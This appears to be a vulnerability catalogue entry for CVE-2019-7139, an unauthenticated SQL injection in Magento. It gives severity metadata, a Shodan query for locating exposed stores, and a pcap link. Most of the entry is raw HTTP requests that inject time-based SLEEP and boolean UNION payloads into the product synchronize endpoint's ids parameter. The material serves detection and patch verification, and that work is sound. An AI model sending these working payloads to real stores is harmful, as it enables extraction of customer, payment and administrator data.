| Title | Magento - SQL Injection |
|---|---|
| Author | MaStErChO |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute SQL injection to extract sensitive database contents including customer information, payment details, and administrative credentials, potentially leading to complete store compromise. |
| Remediation | This issue is fixed in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2. |
| CVSS Score | 9.8 |
| EPSS Score | 0.62993 |
| CVE ID | CVE-2019-7139 |
| CWE ID | CWE-89 |
| Shodan Query | http.component:"Magento"cpe:"cpe:2.3:a:magento:magento"http.component:"magento" |
| Tags | time-based-sqli cve cve2019 sqli magento vkev vuln |
An unauthenticated user can execute SQL statements that allow arbitrary read access to the underlying database, which causes sensitive data leakage.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]&ids[0][product_id][from]=?&ids[0][product_id][to]=)))+OR+(SELECT*FROM+(SELECT+SLEEP((8)))a)%3d1+--+- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Accept-Encoding: gzip
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7139.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-7139.pcap
N/AN/A